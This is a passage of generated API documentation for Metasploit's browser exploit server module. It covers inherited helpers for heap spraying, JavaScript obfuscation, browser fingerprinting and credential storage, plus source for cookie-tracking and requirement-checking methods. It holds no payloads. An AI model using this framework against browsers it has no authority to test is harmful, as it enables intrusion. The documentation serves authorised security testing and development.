(method)">#js_mstime_malloc</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_os_detect-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_os_detect (method)">#js_os_detect</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#js_property_spray-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#js_property_spray (method)">#js_property_spray</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#obfuscate_js-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#obfuscate_js (method)">#obfuscate_js</a></span>, <span class='object_link'><a href="HttpServer/HTML.html#send_response_html-instance_method" title="Msf::Exploit::Remote::HttpServer::HTML#send_response_html (method)">#send_response_html</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="HttpServer.html" title="Msf::Exploit::Remote::HttpServer (module)">HttpServer</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="HttpServer.html#add_resource-instance_method" title="Msf::Exploit::Remote::HttpServer#add_resource (method)">#add_resource</a></span>, <span class='object_link'><a href="HttpServer.html#add_robots_resource-instance_method" title="Msf::Exploit::Remote::HttpServer#add_robots_resource (method)">#add_robots_resource</a></span>, <span class='object_link'><a href="HttpServer.html#autofilter-instance_method" title="Msf::Exploit::Remote::HttpServer#autofilter (method)">#autofilter</a></span>, <span class='object_link'><a href="HttpServer.html#check_dependencies-instance_method" title="Msf::Exploit::Remote::HttpServer#check_dependencies (method)">#check_dependencies</a></span>, <span class='object_link'><a href="HttpServer.html#cli-instance_method" title="Msf::Exploit::Remote::HttpServer#cli (method)">#cli</a></span>, <span class='object_link'><a href="HttpServer.html#cli=-instance_method" title="Msf::Exploit::Remote::HttpServer#cli= (method)">#cli=</a></span>, <span class='object_link'><a href="HttpServer.html#close_client-instance_method" title="Msf::Exploit::Remote::HttpServer#close_client (method)">#close_client</a></span>, <span class='object_link'><a href="HttpServer.html#create_response-instance_method" title="Msf::Exploit::Remote::HttpServer#create_response (method)">#create_response</a></span>, <span class='object_link'><a href="HttpServer.html#fingerprint_user_agent-instance_method" title="Msf::Exploit::Remote::HttpServer#fingerprint_user_agent (method)">#fingerprint_user_agent</a></span>, <span class='object_link'><a href="HttpServer.html#get_resource-instance_method" title="Msf::Exploit::Remote::HttpServer#get_resource (method)">#get_resource</a></span>, <span class='object_link'><a href="HttpServer.html#get_uri-instance_method" title="Msf::Exploit::Remote::HttpServer#get_uri (method)">#get_uri</a></span>, <span class='object_link'><a href="HttpServer.html#hardcoded_uripath-instance_method" title="Msf::Exploit::Remote::HttpServer#hardcoded_uripath (method)">#hardcoded_uripath</a></span>, <span class='object_link'><a href="HttpServer.html#print_prefix-instance_method" title="Msf::Exploit::Remote::HttpServer#print_prefix (method)">#print_prefix</a></span>, <span class='object_link'><a href="HttpServer.html#random_uri-instance_method" title="Msf::Exploit::Remote::HttpServer#random_uri (method)">#random_uri</a></span>, <span class='object_link'><a href="HttpServer.html#regenerate_payload-instance_method" title="Msf::Exploit::Remote::HttpServer#regenerate_payload (method)">#regenerate_payload</a></span>, <span class='object_link'><a href="HttpServer.html#remove_resource-instance_method" title="Msf::Exploit::Remote::HttpServer#remove_resource (method)">#remove_resource</a></span>, <span class='object_link'><a href="HttpServer.html#report_user_agent-instance_method" title="Msf::Exploit::Remote::HttpServer#report_user_agent (method)">#report_user_agent</a></span>, <span class='object_link'><a href="HttpServer.html#resource_uri-instance_method" title="Msf::Exploit::Remote::HttpServer#resource_uri (method)">#resource_uri</a></span>, <span class='object_link'><a href="HttpServer.html#send_local_redirect-instance_method" title="Msf::Exploit::Remote::HttpServer#send_local_redirect (method)">#send_local_redirect</a></span>, <span class='object_link'><a href="HttpServer.html#send_redirect-instance_method" title="Msf::Exploit::Remote::HttpServer#send_redirect (method)">#send_redirect</a></span>, <span class='object_link'><a href="HttpServer.html#send_response-instance_method" title="Msf::Exploit::Remote::HttpServer#send_response (method)">#send_response</a></span>, <span class='object_link'><a href="HttpServer.html#send_robots-instance_method" title="Msf::Exploit::Remote::HttpServer#send_robots (method)">#send_robots</a></span>, <span class='object_link'><a href="HttpServer.html#srvhost_addr-instance_method" title="Msf::Exploit::Remote::HttpServer#srvhost_addr (method)">#srvhost_addr</a></span>, <span class='object_link'><a href="HttpServer.html#srvport-instance_method" title="Msf::Exploit::Remote::HttpServer#srvport (method)">#srvport</a></span>, <span class='object_link'><a href="HttpServer.html#start_service-instance_method" title="Msf::Exploit::Remote::HttpServer#start_service (method)">#start_service</a></span>, <span class='object_link'><a href="HttpServer.html#use_zlib-instance_method" title="Msf::Exploit::Remote::HttpServer#use_zlib (method)">#use_zlib</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../Auxiliary/Report.html" title="Msf::Auxiliary::Report (module)">Auxiliary::Report</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="../../Auxiliary/Report.html#active_db%3F-instance_method" title="Msf::Auxiliary::Report#active_db? (method)">#active_db?</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#create_cracked_credential-instance_method" title="Msf::Auxiliary::Report#create_cracked_credential (method)">#create_cracked_credential</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#create_credential-instance_method" title="Msf::Auxiliary::Report#create_credential (method)">#create_credential</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#create_credential_and_login-instance_method" title="Msf::Auxiliary::Report#create_credential_and_login (method)">#create_credential_and_login</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#create_credential_login-instance_method" title="Msf::Auxiliary::Report#create_credential_login (method)">#create_credential_login</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#db-instance_method" title="Msf::Auxiliary::Report#db (method)">#db</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#db_warning_given%3F-instance_method" title="Msf::Auxiliary::Report#db_warning_given? (method)">#db_warning_given?</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#get_client-instance_method" title="Msf::Auxiliary::Report#get_client (method)">#get_client</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#get_host-instance_method" title="Msf::Auxiliary::Report#get_host (method)">#get_host</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#inside_workspace_boundary%3F-instance_method" title="Msf::Auxiliary::Report#inside_workspace_boundary? (method)">#inside_workspace_boundary?</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#invalidate_login-instance_method" title="Msf::Auxiliary::Report#invalidate_login (method)">#invalidate_login</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#mytask-instance_method" title="Msf::Auxiliary::Report#mytask (method)">#mytask</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#myworkspace-instance_method" title="Msf::Auxiliary::Report#myworkspace (method)">#myworkspace</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#myworkspace_id-instance_method" title="Msf::Auxiliary::Report#myworkspace_id (method)">#myworkspace_id</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_auth_info-instance_method" title="Msf::Auxiliary::Report#report_auth_info (method)">#report_auth_info</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_client-instance_method" title="Msf::Auxiliary::Report#report_client (method)">#report_client</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_exploit-instance_method" title="Msf::Auxiliary::Report#report_exploit (method)">#report_exploit</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_host-instance_method" title="Msf::Auxiliary::Report#report_host (method)">#report_host</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_loot-instance_method" title="Msf::Auxiliary::Report#report_loot (method)">#report_loot</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_note-instance_method" title="Msf::Auxiliary::Report#report_note (method)">#report_note</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_service-instance_method" title="Msf::Auxiliary::Report#report_service (method)">#report_service</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_vuln-instance_method" title="Msf::Auxiliary::Report#report_vuln (method)">#report_vuln</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_web_form-instance_method" title="Msf::Auxiliary::Report#report_web_form (method)">#report_web_form</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_web_page-instance_method" title="Msf::Auxiliary::Report#report_web_page (method)">#report_web_page</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_web_site-instance_method" title="Msf::Auxiliary::Report#report_web_site (method)">#report_web_site</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#report_web_vuln-instance_method" title="Msf::Auxiliary::Report#report_web_vuln (method)">#report_web_vuln</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#store_cred-instance_method" title="Msf::Auxiliary::Report#store_cred (method)">#store_cred</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#store_local-instance_method" title="Msf::Auxiliary::Report#store_local (method)">#store_local</a></span>, <span class='object_link'><a href="../../Auxiliary/Report.html#store_loot-instance_method" title="Msf::Auxiliary::Report#store_loot (method)">#store_loot</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="../../../Metasploit/Framework/Require.html" title="Metasploit::Framework::Require (module)">Metasploit::Framework::Require</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="../../../Metasploit/Framework/Require.html#optionally-class_method" title="Metasploit::Framework::Require.optionally (method)">optionally</a></span>, <span class='object_link'><a href="../../../Metasploit/Framework/Require.html#optionally_active_record_railtie-class_method" title="Metasploit::Framework::Require.optionally_active_record_railtie (method)">optionally_active_record_railtie</a></span>, <span class='object_link'><a href="../../../Metasploit/Framework/Require.html#optionally_include_metasploit_credential_creation-class_method" title="Metasploit::Framework::Require.optionally_include_metasploit_credential_creation (method)">optionally_include_metasploit_credential_creation</a></span>, <span class='object_link'><a href="../../../Metasploit/Framework/Require.html#optionally_include_metasploit_credential_creation-instance_method" title="Metasploit::Framework::Require#optionally_include_metasploit_credential_creation (method)">#optionally_include_metasploit_credential_creation</a></span>, <span class='object_link'><a href="../../../Metasploit/Framework/Require.html#optionally_require_metasploit_db_gem_engines-class_method" title="Metasploit::Framework::Require.optionally_require_metasploit_db_gem_engines (method)">optionally_require_metasploit_db_gem_engines</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="TcpServer.html" title="Msf::Exploit::Remote::TcpServer (module)">TcpServer</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="TcpServer.html#on_client_close-instance_method" title="Msf::Exploit::Remote::TcpServer#on_client_close (method)">#on_client_close</a></span>, <span class='object_link'><a href="TcpServer.html#on_client_connect-instance_method" title="Msf::Exploit::Remote::TcpServer#on_client_connect (method)">#on_client_connect</a></span>, <span class='object_link'><a href="TcpServer.html#ssl-instance_method" title="Msf::Exploit::Remote::TcpServer#ssl (method)">#ssl</a></span>, <span class='object_link'><a href="TcpServer.html#ssl_cert-instance_method" title="Msf::Exploit::Remote::TcpServer#ssl_cert (method)">#ssl_cert</a></span>, <span class='object_link'><a href="TcpServer.html#ssl_cipher-instance_method" title="Msf::Exploit::Remote::TcpServer#ssl_cipher (method)">#ssl_cipher</a></span>, <span class='object_link'><a href="TcpServer.html#ssl_compression-instance_method" title="Msf::Exploit::Remote::TcpServer#ssl_compression (method)">#ssl_compression</a></span>, <span class='object_link'><a href="TcpServer.html#ssl_version-instance_method" title="Msf::Exploit::Remote::TcpServer#ssl_version (method)">#ssl_version</a></span>, <span class='object_link'><a href="TcpServer.html#start_service-instance_method" title="Msf::Exploit::Remote::TcpServer#start_service (method)">#start_service</a></span></p>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<h3 class="inherited">Methods included from <span class='object_link'><a href="SocketServer.html" title="Msf::Exploit::Remote::SocketServer (module)">SocketServer</a></span></h3>
|
||
<p class="inherited"><span class='object_link'><a href="SocketServer.html#_determine_server_comm-instance_method" title="Msf::Exploit::Remote::SocketServer#_determine_server_comm (method)">#_determine_server_comm</a></span>, <span class='object_link'><a href="SocketServer.html#bindhost-instance_method" title="Msf::Exploit::Remote::SocketServer#bindhost (method)">#bindhost</a></span>, <span class='object_link'><a href="SocketServer.html#bindport-instance_method" title="Msf::Exploit::Remote::SocketServer#bindport (method)">#bindport</a></span>, <span class='object_link'><a href="SocketServer.html#cleanup_service-instance_method" title="Msf::Exploit::Remote::SocketServer#cleanup_service (method)">#cleanup_service</a></span>, <span class='object_link'><a href="SocketServer.html#exploit-instance_method" title="Msf::Exploit::Remote::SocketServer#exploit (method)">#exploit</a></span>, <span class='object_link'><a href="SocketServer.html#on_client_data-instance_method" title="Msf::Exploit::Remote::SocketServer#on_client_data (method)">#on_client_data</a></span>, <span class='object_link'><a href="SocketServer.html#primer-instance_method" title="Msf::Exploit::Remote::SocketServer#primer (method)">#primer</a></span>, <span class='object_link'><a href="SocketServer.html#regenerate_payload-instance_method" title="Msf::Exploit::Remote::SocketServer#regenerate_payload (method)">#regenerate_payload</a></span>, <span class='object_link'><a href="SocketServer.html#srvhost-instance_method" title="Msf::Exploit::Remote::SocketServer#srvhost (method)">#srvhost</a></span>, <span class='object_link'><a href="SocketServer.html#srvhost_addr-instance_method" title="Msf::Exploit::Remote::SocketServer#srvhost_addr (method)">#srvhost_addr</a></span>, <span class='object_link'><a href="SocketServer.html#srvport-instance_method" title="Msf::Exploit::Remote::SocketServer#srvport (method)">#srvport</a></span>, <span class='object_link'><a href="SocketServer.html#start_service-instance_method" title="Msf::Exploit::Remote::SocketServer#start_service (method)">#start_service</a></span>, <span class='object_link'><a href="SocketServer.html#via_string-instance_method" title="Msf::Exploit::Remote::SocketServer#via_string (method)">#via_string</a></span></p>
|
||
|
||
|
||
<div id="instance_method_details" class="method_details_list">
|
||
<h2>Instance Method Details</h2>
|
||
|
||
|
||
<div class="method_details first">
|
||
<h3 class="signature first" id="browser_profile_prefix-instance_method">
|
||
|
||
#<strong>browser_profile_prefix</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns a prefix that’s unique to this browser exploit module. This overrides the #browser_profile_prefix method from Msf::Exploit::Remote::BrowserProfileManager. There are two way for BES to get this prefix, either:</p>
|
||
<ul><li>
|
||
<p>It comes from a datastore option. It allows BrowserAutoPwn to share the unique prefix with its child exploits, so that these exploits don’t have to gather browser information again.</p>
|
||
</li><li>
|
||
<p>If the datastore option isn’t set, then we assume the user is firing the exploit as a standalone so we make something more unique, so that if there are two instances using the same exploit, they don’t actually share info.</p>
|
||
</li></ul>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
128
|
||
129
|
||
130
|
||
131
|
||
132</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 128</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_browser_profile_prefix'>browser_profile_prefix</span>
|
||
<span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>BrowserProfilePrefix</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='ivar'>@unique_prefix</span> <span class='op'>||=</span> <span class='id identifier rubyid_lambda'>lambda</span> <span class='lbrace'>{</span>
|
||
<span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_shortname'>shortname</span><span class='embexpr_end'>}</span><span class='tstring_content'>.</span><span class='embexpr_beg'>#{</span><span class='const'>Time</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='embexpr_end'>}</span><span class='tstring_content'>.</span><span class='embexpr_beg'>#{</span><span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_uuid'>uuid</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span>
|
||
<span class='rbrace'>}</span><span class='period'>.</span><span class='id identifier rubyid_call'>call</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="cleanup-instance_method">
|
||
|
||
#<strong>cleanup</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Cleans up target information owned by the current module.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
136
|
||
137
|
||
138
|
||
139
|
||
140</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 136</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_cleanup'>cleanup</span>
|
||
<span class='kw'>super</span>
|
||
<span class='comment'># Whoever registered BrowserProfilePrefix should do the cleanup
|
||
</span> <span class='id identifier rubyid_clear_browser_profiles'>clear_browser_profiles</span> <span class='kw'>unless</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>BrowserProfilePrefix</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="cookie_header-instance_method">
|
||
|
||
#<strong>cookie_header</strong>(tag) ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns HTTP header string for the tracking cookie.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>HTTP header string for the tracking cookie</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
519
|
||
520
|
||
521
|
||
522
|
||
523
|
||
524
|
||
525
|
||
526
|
||
527</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 519</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_cookie_header'>cookie_header</span><span class='lparen'>(</span><span class='id identifier rubyid_tag'>tag</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_cookie'>cookie</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cookie_name'>cookie_name</span><span class='embexpr_end'>}</span><span class='tstring_content'>=</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_tag'>tag</span><span class='embexpr_end'>}</span><span class='tstring_content'>;</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CookieExpiration</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_present?'>present?</span>
|
||
<span class='id identifier rubyid_expires_date'>expires_date</span> <span class='op'>=</span> <span class='lparen'>(</span><span class='const'>DateTime</span><span class='period'>.</span><span class='id identifier rubyid_now'>now</span> <span class='op'>+</span> <span class='int'>365</span><span class='op'>*</span><span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CookieExpiration</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_to_i'>to_i</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_expires_str'>expires_str</span> <span class='op'>=</span> <span class='id identifier rubyid_expires_date'>expires_date</span><span class='period'>.</span><span class='id identifier rubyid_to_time'>to_time</span><span class='period'>.</span><span class='id identifier rubyid_strftime'>strftime</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%a, %d %b %Y 12:00:00 GMT</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_cookie'>cookie</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> Expires=</span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_expires_str'>expires_str</span><span class='embexpr_end'>}</span><span class='tstring_content'>;</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span>
|
||
<span class='id identifier rubyid_cookie'>cookie</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="cookie_name-instance_method">
|
||
|
||
#<strong>cookie_name</strong> ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns Name of the tracking cookie.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Name of the tracking cookie</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
514
|
||
515
|
||
516</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 514</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_cookie_name'>cookie_name</span>
|
||
<span class='id identifier rubyid_datastore'>datastore</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CookieName</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='const'><span class='object_link'><a href="#DEFAULT_COOKIE_NAME-constant" title="Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME (constant)">DEFAULT_COOKIE_NAME</a></span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="extract_requirements-instance_method">
|
||
|
||
#<strong>extract_requirements</strong>(reqs) ⇒ <tt>Hash</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns a hash of recognizable requirements</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>reqs</span>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>A hash that contains data for the requirements</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>A hash of requirements</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
176
|
||
177
|
||
178
|
||
179
|
||
180</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 176</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_extract_requirements'>extract_requirements</span><span class='lparen'>(</span><span class='id identifier rubyid_reqs'>reqs</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_tmp'>tmp</span> <span class='op'>=</span> <span class='id identifier rubyid_reqs'>reqs</span><span class='period'>.</span><span class='id identifier rubyid_select'>select</span> <span class='lbrace'>{</span><span class='op'>|</span><span class='id identifier rubyid_k'>k</span><span class='comma'>,</span><span class='id identifier rubyid_v'>v</span><span class='op'>|</span> <span class='const'><span class='object_link'><a href="#REQUIREMENT_KEY_SET-constant" title="Msf::Exploit::Remote::BrowserExploitServer::REQUIREMENT_KEY_SET (constant)">REQUIREMENT_KEY_SET</a></span></span><span class='period'>.</span><span class='id identifier rubyid_include?'>include?</span><span class='lparen'>(</span><span class='id identifier rubyid_k'>k</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span><span class='rparen'>)</span><span class='rbrace'>}</span>
|
||
<span class='comment'># Make sure keys are always symbols
|
||
</span> <span class='const'>Hash</span><span class='lbracket'>[</span><span class='id identifier rubyid_tmp'>tmp</span><span class='period'>.</span><span class='id identifier rubyid_map'>map</span><span class='lbrace'>{</span><span class='op'>|</span><span class='lparen'>(</span><span class='id identifier rubyid_k'>k</span><span class='comma'>,</span><span class='id identifier rubyid_v'>v</span><span class='rparen'>)</span><span class='op'>|</span> <span class='lbracket'>[</span><span class='id identifier rubyid_k'>k</span><span class='period'>.</span><span class='id identifier rubyid_to_sym'>to_sym</span><span class='comma'>,</span><span class='id identifier rubyid_v'>v</span><span class='rbracket'>]</span><span class='rbrace'>}</span><span class='rbracket'>]</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="get_bad_requirements-instance_method">
|
||
|
||
#<strong>get_bad_requirements</strong>(profile) ⇒ <tt>Array</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns an array of items that do not meet the requirements</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>profile</span>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The profile to check</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>Array</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>An array of requirements not met</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
236
|
||
237
|
||
238
|
||
239
|
||
240
|
||
241
|
||
242
|
||
243
|
||
244
|
||
245
|
||
246
|
||
247
|
||
248
|
||
249
|
||
250
|
||
251
|
||
252
|
||
253
|
||
254
|
||
255
|
||
256
|
||
257
|
||
258</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 236</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_get_bad_requirements'>get_bad_requirements</span><span class='lparen'>(</span><span class='id identifier rubyid_profile'>profile</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_bad_reqs'>bad_reqs</span> <span class='op'>=</span> <span class='lbracket'>[</span><span class='rbracket'>]</span>
|
||
<span class='ivar'>@requirements</span><span class='period'>.</span><span class='id identifier rubyid_each'>each</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_rk'>rk</span><span class='comma'>,</span> <span class='id identifier rubyid_v'>v</span><span class='op'>|</span>
|
||
<span class='id identifier rubyid_k'>k</span> <span class='op'>=</span> <span class='id identifier rubyid_rk'>rk</span><span class='period'>.</span><span class='id identifier rubyid_to_sym'>to_sym</span>
|
||
<span class='id identifier rubyid_expected'>expected</span> <span class='op'>=</span> <span class='id identifier rubyid_k'>k</span> <span class='op'>!=</span> <span class='symbol'>:vuln_test</span> <span class='op'>?</span> <span class='id identifier rubyid_v'>v</span> <span class='op'>:</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>true</span><span class='tstring_end'>'</span></span>
|
||
|
||
